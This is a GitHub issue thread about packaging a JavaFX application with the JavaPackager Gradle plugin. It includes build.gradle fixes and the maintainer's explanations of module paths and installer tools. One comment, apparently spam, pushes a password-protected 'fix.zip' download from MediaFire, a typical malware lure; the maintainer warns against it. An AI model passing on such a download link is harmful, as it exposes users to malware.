Packaging doesn't package JavaFX modules
I'm trying to package my JavaFX application to a JAR.
./gradlew packageMyApp works fine, but when I run the JAR, it throws the following error:
Error: Could not find or load main class com.sunkenpotato.client2p.MainApplication
Caused by: java.lang.NoClassDefFoundError: javafx/application/Application
Here's my build.gradle:
import io.github.fvarrui.javapackager.gradle.PackageTask
buildscript {
repositories {
mavenCentral()
gradlePluginPortal()
}
dependencies {
classpath('io.github.fvarrui:javapackager:1.7.6')
}
}
plugins {
id 'java'
id 'application'
id 'org.javamodularity.moduleplugin' version '1.8.12'
id 'org.openjfx.javafxplugin' version '0.0.13'
id 'org.beryx.jlink' version '3.0.0'
id 'org.jetbrains.kotlin.jvm'
id 'io.github.fvarrui.javapackager.plugin' version '1.7.6'
}
group 'com.sunkenpotato'
version '1.0.0'
repositories {
mavenCentral()
}
java {
sourceCompatibility = 21
targetCompatibility = 21
}
ext {
junitVersion = '5.10.2'
}
tasks.withType(JavaCompile) {
options.encoding = 'UTF-8'
}
mainClassName = 'com.sunkenpotato.client2p.MainApplication'
application {
mainModule = 'com.sunkenpotato.client2p'
mainClass = mainClassName
}
javafx {
version = '21'
modules = ['javafx.controls', 'javafx.fxml']
}
dependencies {
implementation 'org.kordamp.bootstrapfx:bootstrapfx-core:0.4.0'
implementation 'io.github.mkpaz:atlantafx-base:2.0.1'
implementation 'com.google.code.gson:gson:2.11.0'
implementation 'commons-io:commons-io:2.11.0'
implementation 'org.kordamp.ikonli:ikonli-feather-pack:12.3.1'
implementation 'org.kordamp.ikonli:ikonli-javafx:12.3.1'
implementation 'com.squareup.okhttp3:okhttp:4.12.0'
implementation "org.jetbrains.kotlin:kotlin-stdlib-jdk8"
implementation 'org.apache.logging.log4j:log4j-api:2.23.1'
implementation 'org.apache.logging.log4j:log4j-core:2.23.1'
testImplementation("org.junit.jupiter:junit-jupiter-api:${junitVersion}")
testRuntimeOnly("org.junit.jupiter:junit-jupiter-engine:${junitVersion}")
}
test {
useJUnitPlatform()
}
jlink {
imageZip = project.file("${buildDir}/distributions/app-${javafx.platform.classifier}.zip")
options = ['--strip-debug', '--compress', '2', '--no-header-files', '--no-man-pages']
launcher {
name = 'app'
}
}
jlinkZip {
group = 'distribution'
}
kotlin {
jvmToolchain(21)
}
configurations {
compileAndRuntime
compileAndRuntime.transitive = true
implementation.extendsFrom(compileAndRuntime)
}
tasks.register('packageMyApp', PackageTask) {
dependsOn build
// mandatory
mainClass = mainClassName
}
I'm on macOS 14.3. Using Java 21. Any help is greatly appreciated :)
to fix your trouble try download this fix, i see it in another issue, https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file password: changeme when you installing, you need to place a check in install to path and select "gcc."
Hi @SunkenPotato! I wouldn't download anything from MediaFire 😮
JP doesn't support Java modules yet. You should add JavaFX libraries as dependencias. Don't run runnable jar outside app, it won't work without libs fólder.
If your project is on a public repo, please, share it here and I'll try to fix it
Hey! Don't worry, I haven't downloaded anything.
Thank you so much. https://github.com/SunkenPotato/Homebase would be the repo. Is support for modules coming to JP in the future?
Hi @SunkenPotato! Good news ... I managed to build and run your app.
Here is your full build.gradle with some changes:
import io.github.fvarrui.javapackager.gradle.PackageTask
buildscript {
repositories {
mavenCentral()
gradlePluginPortal()
}
dependencies {
classpath('io.github.fvarrui:javapackager:1.7.6')
}
}
plugins {
id 'java'
id 'application'
id 'org.javamodularity.moduleplugin' version '1.8.12'
id 'org.openjfx.javafxplugin' version '0.0.13'
id 'org.beryx.jlink' version '3.0.0'
id 'org.jetbrains.kotlin.jvm'
id 'io.github.fvarrui.javapackager.plugin' version '1.7.6'
}
group 'com.sunkenpotato'
version '1.0.0'
repositories {
mavenCentral()
}
java {
sourceCompatibility = 21
targetCompatibility = 21
}
ext {
junitVersion = '5.10.2'
}
tasks.withType(JavaCompile) {
options.encoding = 'UTF-8'
}
mainClassName = 'com.sunkenpotato.client2p.MainApplication'
application {
mainModule = 'com.sunkenpotato.client2p'
mainClass = mainClassName
}
javafx {
version = '21'
modules = ['javafx.controls', 'javafx.fxml']
}
dependencies {
implementation 'org.kordamp.bootstrapfx:bootstrapfx-core:0.4.0'
implementation 'io.github.mkpaz:atlantafx-base:2.0.1'
implementation 'com.google.code.gson:gson:2.11.0'
implementation 'commons-io:commons-io:2.11.0'
implementation 'org.kordamp.ikonli:ikonli-feather-pack:12.3.1'
implementation 'org.kordamp.ikonli:ikonli-javafx:12.3.1'
implementation 'com.squareup.okhttp3:okhttp:4.12.0'
implementation "org.jetbrains.kotlin:kotlin-stdlib-jdk8"
implementation 'org.apache.logging.log4j:log4j-api:2.23.1'
implementation 'org.apache.logging.log4j:log4j-core:2.23.1'
implementation "org.openjfx:javafx-controls:21"
implementation "org.openjfx:javafx-fxml:21"
testImplementation("org.junit.jupiter:junit-jupiter-api:${junitVersion}")
testRuntimeOnly("org.junit.jupiter:junit-jupiter-engine:${junitVersion}")
}
test {
useJUnitPlatform()
}
jlink {
imageZip = project.file("${buildDir}/distributions/app-${javafx.platform.classifier}.zip")
options = ['--strip-debug', '--compress', '2', '--no-header-files', '--no-man-pages', '--module-path', '/Users/piro/Downloads/javafx-sdk-21.0.4/lib',]
launcher {
name = 'Homebase'
}
}
jlinkZip {
group = 'distribution'
}
kotlin {
jvmToolchain(21)
}
tasks.register('packageMyApp', PackageTask) {
dependsOn build
mainClass = mainClassName
bundleJre = true
customizedJre = true
// modules = ['javafx.controls', 'javafx.fxml']
vmArgs = [ '--add-modules=javafx.controls,javafx.fxml', '--module-path=libs' ]
}
And here you can find some explanations
Add JavaFX libreries as dependencies:
dependencies {
[...]
implementation "org.openjfx:javafx-controls:21"
implementation "org.openjfx:javafx-fxml:21"
[...]
}
and some JVM arguments needed to avoid JavaFX missing modules error at startup:
tasks.register('packageMyApp', PackageTask) {
dependsOn build
mainClass = mainClassName
bundleJre = true
customizedJre = true
// add JavaFX modules to JVM at startup
vmArgs = [ '--add-modules=javafx.controls,javafx.fxml', '--module-path=libs' ]
}
Hey @fvarrui, sorry for not answering until now, I was on vacation.
This seems to package the app correctly, however, it throws the error when I run build\client-2p\client-2p.exe:
JavaFX runtime components are missing, and are required to run this application
I modified the tasks a bit to match the OSes and SDKs, but it still won't include the mentioned 'components'.
Here's the task:
tasks.register('packageWindows', PackageTask) {
dependsOn build
mainClass = mainClassName
bundleJre = true
customizedJre = true
modules = ['javafx.controls', 'javafx.fxml']
vmArgs = [ '--add-modules=javafx.controls.jar,javafx.fxml.jar', '--module-path=windows-sdk/lib' ]
platform = "windows"
}
windows-sdk is the JavaFX SDK for Windows from the gluon website.
The contents of windows-sdk/lib are:
javafx-swt.jar*
javafx.base.jar*
javafx.controls.jar*
javafx.fxml.jar*
javafx.graphics.jar*
javafx.media.jar*
javafx.properties*
javafx.swing.jar*
javafx.web.jar*
(* for executable)
I have honestly no idea what I'm doing wrong, and why it's so hard to package JavaFX applications. Any help would be greatly appreciated
Hi @SunkenPotato! Just remove .jar from module names. Module names are different from jar names. Don't worry, I hope you enjoyed your vacation 😃
And you don't need modules property
Sorry, I trying to answer from my mobile phone, and it's being really difficult.
Please, use my changes in your build.gradle file. Those changes do the magic
Hey @fvarrui
Thank you for answering so quickly!
I've now completely copied the gradle file without any changes and recompiled, but something seems off to me.
The path specified in vmArgs.module-path is libs, however, I don't have a directory called libs, and even if I do use windows-sdk\lib, I still get the JavaFX components error.
It's the exact task from the gradle file you provided:
tasks.register('packageMyApp', PackageTask) {
dependsOn build
mainClass = mainClassName
bundleJre = true
customizedJre = true
// modules = ['javafx.controls', 'javafx.fxml']
vmArgs = [ '--add-modules=javafx.controls,javafx.fxml', '--module-path=windows-sdk/lib' ] // or 'libs', which doesn't exist
}
I'd also like to note that the program throws other errors, but they're related to MSIs.
The task cannot find the commands issc and candle
I've now completely copied the gradle file without any changes and recompiled, but something seems off to me. The path specified in
vmArgs.module-pathislibs, however, I don't have a directory called libs, and even if I do usewindows-sdk\lib, I still get the JavaFX components error.It's the exact task from the gradle file you provided:
tasks.register('packageMyApp', PackageTask) { dependsOn build mainClass = mainClassName bundleJre = true customizedJre = true // modules = ['javafx.controls', 'javafx.fxml'] vmArgs = [ '--add-modules=javafx.controls,javafx.fxml', '--module-path=windows-sdk/lib' ] // or 'libs', which doesn't exist }
vmArgs are used at runtime by your app, when running the JVM. JP copies by default all dependencies into libs folder inside your app, so when your app starts is able to find JavaFX modules.
Sorry for the quick explanation
I'd also like to note that the program throws other errors, but they're related to MSIs. The task cannot find the commands
isscandcandle
You have to install WiX Tools and Inno Setup. It's explained on README
It works! Thanks so much for the explanation, and excuse my ignorance about the module-path thing. I didn't realize it used it's own.
Thanks again for all the time and help.
https://github.com/fvarrui/JavaPackager?tab=readme-ov-file#generated-artifacts, here you can find a table with all generated artifacts. Take a look to Requires column 😃
It works! Thanks so much for the explanation, and excuse my ignorance about the module-path thing. I didn't realize it used it's own.
Thanks again for all the time and help.
You're welcome! I'm happy to help
And there's also a guide. Have a nice weekend!
Thank you! Have a nice weekend too!